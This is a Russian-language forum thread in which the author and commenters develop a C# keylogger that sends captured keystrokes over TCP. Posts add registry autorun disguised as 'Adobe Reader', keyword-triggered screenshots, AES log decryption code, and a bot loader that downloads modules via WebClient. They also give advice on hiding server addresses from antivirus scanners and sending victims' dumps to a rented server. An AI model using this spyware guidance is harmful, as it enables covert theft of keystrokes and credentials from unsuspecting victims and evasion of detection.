Статья Пишем simple-кейлогер с передачей дампа по TCP на C#

Ishikawa · 01.12.2016

Тем, кому интересно - допишем серверную часть, добавив хорошую плюшку: автозапуск нашего софта.
Создадим функцию SetAutorunValue. Передавать будем два параметра: true/false для установки или удаления приложения в реестре и сокет для отправки нам ответа.
Вначале объявим имя переменной, под которой будет запускаться наша программа. Я назвал Adobe Reader (ибо есть некая ускоряшка от Adobe):

Собственно, ExePath будет содержать полный путь до нашей программы, а переменная reg - это как раз путь в реестре для установки.
Обратите внимание на блок if - else. Если передаем true - будет запись в реестр, если false - удаление.
За это отвечают ключи reg.SetValue и reg.DeleteValue. Если возникнет некая ошибка (например, нет прав доступа) ответ придет нам через сокет из блока catch.

Использовать это будем таким образом. В коде сервера находим наш блок switch и дописываем туда еще две опции:

Соответственно с клиента достаточно соединиться и набрать команды install/uninstall
На этом всё

Ishikawa · 05.12.2016

Ну что ж... давайте кое-что поправим, уберем одно из ограничений.
В функции ServerSocket() меняем местами try и while:

те, кто активно тестировал могли заметить, что цикл while был выше и не прерывался никогда, в итоге приложение в какой-то момент при попытке коннекта с клиентом просто завершалось с ошибкой.
Соответственно, поменяв блоки местами, не забываем вынести catch в конец функции:

Собственно эти шаги должны предотвратить нежелательное закрытие серверной части.

viktorcruce · 19.12.2016

хай бро очень интересная статья большой большой плюс тебе в карму.. подскажи как сделать так что бы скрины запускались после отлова определенных слов из тайтлов программ и допустим скринилось в течении 10-15 минут каждые 5-10 секунд. тут по идеи надо в отдельный поток все пускать?

Ishikawa · 20.12.2016

viktorcruce сказал(а):
хай бро очень интересная статья большой большой плюс тебе в карму.. подскажи как сделать так что бы скрины запускались после отлова определенных слов из тайтлов программ и допустим скринилось в течении 10-15 минут каждые 5-10 секунд. тут по идеи надо в отдельный поток все пускать?

И тебе привет, бро. Сначала нужно получить заголовки всех окон, затем положить их в массив, сделать поиск по массиву. В зависимости от найденного запускать ф-ю Screen(); каждые N-секунд через System.Timer
Начать можно с этого:

SooLFaa · 20.12.2016

Статья хорошая. Как шарпист - шарписту молодец. А продукт можно развивать до бесконечности, когда я писал кейлоггер он стал частью ботнета. Чего вы ждете дешифратор? Если Автор заявил что AES-256, то пишется примерно так.

Код:

 using (AesCryptoServiceProvider aesAlg = new AesCryptoServiceProvider())
            {
                aesAlg.Key = Key;
                aesAlg.IV = IV;
                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
           
                using (MemoryStream msDecrypt = new MemoryStream(cipherText))
                {
                    using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
                    {
                        using (StreamReader srDecrypt = new StreamReader(csDecrypt))
                        {                      
                            plaintext = srDecrypt.ReadToEnd();
                        }
                    }
                }

            }

            return plaintext;

Runinterface · 20.12.2016

Красава бро!

viktorcruce · 20.12.2016

Ishikawa сказал(а):
И тебе привет, бро. Сначала нужно получить заголовки всех окон, затем положить их в массив, сделать поиск по массиву. В зависимости от найденного запускать ф-ю Screen(); каждые N-секунд через System.Timer
Начать можно с этого:

Посмотреть вложение 8108

т.е. этот весь фарш вписываю в этот метод HookCallback. сильно не пинайте только только изучаю С#

Как лучше сделать подскажите собратья) . Допустим грузим пустого - безобидного бота. После того как бот расположился в системе он начинает тянуть все необходимы нам модули тот же кейлогер и тд. Надо в теле бота просто прописать сокет который подключается к северу и уже подгружает основной фарш? есть у кого-нибудь примерный исходник такого кода?)

SooLFaa · 20.12.2016

Глянь мою тему. На самом деле всё просто как 2х2. WebClient webClient = new WebClient(); wevClient.DownloadFile("URL_TO_FILE");
Можно конечно и через сокеты, но это как в Москву ехать через Китай. А так HttpWebRequest и HttpWebResponse - достаточно универсальные классы для работы с протоколом HTTP. Раскури их и будет тебе счастье.

Ishikawa · 21.12.2016

Всем привет! Дешифратор будет, я его обещал. По обстоятельствам не могу добраться до этого дела.
Там помимо AES еще и Base64, т.е. на вход пойдет что-то вроде: Jq882zKZf50P1JFcWhPgBg==
Т.о. перед декодировкой из AES нужно сделать декодировку из Base64: byte[] cipherTextBytes = Convert.FromBase64String(cipherText);

Прошу понять и потерпеть

Ishikawa · 21.12.2016

viktorcruce сказал(а):
т.е. этот весь фарш вписываю в этот метод HookCallback.
Надо в теле бота просто прописать сокет который подключается к северу

В HookCallback не нужно, иначе метод будет вызываться при каждом жмяке по кнопкам. Достаточно и отдельной функции.
Прописывать адреса серверов в коде я бы не стал. Многие интересные вещи спалились на этом деле и теперь украшают доски всяческих Virustotal'ов.

Ishikawa · 21.12.2016

Давайте кое-что изменим в коде серверной части, чтобы в дешифраторе избавить себя от некоторых проблем.
В функции HookCallback находим участок, отвечающий за запись нажатий клавиш:

После него идет WM_KEYUP, нужный для того, чтобы отследить что клавиша была отпущена.
Перепишем WM_KEYUP, как на картинке ниже:

Обратите внимание на стрелочку. По ней мы будем определять, что кнопка уже отпущена.
В дешифраторе реализуем несложную логику, чтобы эти стрелки служили нам ориентирами.
Например: ↑n↓intendo - будет означать, что n - буква заглавная, а ↑1↓ - будет означать знак "!"

viktorcruce · 21.12.2016

Ishikawa сказал(а):
В HookCallback не нужно, иначе метод будет вызываться при каждом жмяке по кнопкам. Достаточно и отдельной функции.
Прописывать адреса серверов в коде я бы не стал. Многие интересные вещи спалились на этом деле и теперь украшают доски всяческих Virustotal'ов.

А как граммотно шифрануть адрес тогда ? если в теле бота палево? и не совсем понимаю как бот будет понимать куда ему слить лог?

Ishikawa · 23.12.2016

viktorcruce сказал(а):
А как граммотно шифрануть адрес тогда ? если в теле бота палево? и не совсем понимаю как бот будет понимать куда ему слить лог?

С написанием ботов я не сталкивался, но я бы сделал так, чтобы не сервер подключался ко мне, а я к серверу. Это намного безопаснее. Нужно лишь знать адреса твоих ботов.
Адрес можно зашифровать тем же AES-128/256, но нужно подумать, как быть с хранением ключей и векторов.

viktorcruce · 24.12.2016

Ishikawa сказал(а):
С написанием ботов я не сталкивался, но я бы сделал так, чтобы не сервер подключался ко мне, а я к серверу. Это намного безопаснее. Нужно лишь знать адреса твоих ботов.
Адрес можно зашифровать тем же AES-128/256, но нужно подумать, как быть с хранением ключей и векторов.

не совсем понял этот как: " чтобы не сервер подключался ко мне, а я к серверу."? можно подробнее , если не трудно

BaJIepraH · 25.12.2016

не сказать что это качественный мануал=не сказать ничего,еще раз вдумчиво перечитаю и попробую версию с блекджеком накидать.за труды уважуха.

Ishikawa · 26.12.2016

viktorcruce сказал(а):
не совсем понял этот как: " чтобы не сервер подключался ко мне, а я к серверу."? можно подробнее , если не трудно

Материалов масса по данном вопросу. Обычные клиент-серверные технологии.
Возьмем простой пример, не youtube ведь подключается к тебе, а ты к youtube. Ты клиент. youtube- сервер.

SooLFaa · 26.12.2016

Ishikawa сказал(а):
Материалов масса по данном вопросу. Обычные клиент-серверные технологии.
Возьмем простой пример, не youtube ведь подключается к тебе, а ты к youtube. Ты клиент. youtube- сервер.

К сожалению это бы сработало в случае один на миллион, так как жертва почти всегда за NAT'ом. Самый дельный вариант, это повесить на VDSку какой нить принимающий скрипт и кидать дамп туда. И безопасно и работает везде.

Ishikawa · 26.12.2016

SooLFaa сказал(а):
К сожалению это бы сработало в случае один на миллион, так как жертва почти всегда за NAT'ом. Самый дельный вариант, это повесить на VDSку какой нить принимающий скрипт и кидать дамп туда. И безопасно и работает везде.

А коде прописать адрес vds и спалиться?

IvanZnak · 06.01.2017

Спасибо за статью. Интересно, доступно, познавательно.
Пробовал разобраться с дешифратором (исходя из условий шифрования).
Где-то нашел...

Но...

Смотрел на разных форумах (информации много), но не смог разобраться сам (мало знаний).
Может кто подскажет. Если я не тороплю ветку.

Ishikawa · 07.01.2017

А что ты передаешь в plainTextBytes? Посмотри через отладку, что у тебя в этой переменной?
А дешифратор будет на следующей неделе

Все сервисы Codeby

Поиск

Поиск

Статья Пишем simple-кейлогер с передачей дампа по TCP на C#

Вложения

Ishikawa

Ishikawa

viktorcruce

Ishikawa

SooLFaa

Runinterface

viktorcruce

SooLFaa

Ishikawa

Ishikawa

Ishikawa

viktorcruce

Ishikawa

viktorcruce

BaJIepraH

Ishikawa

SooLFaa

Ishikawa

IvanZnak

Ishikawa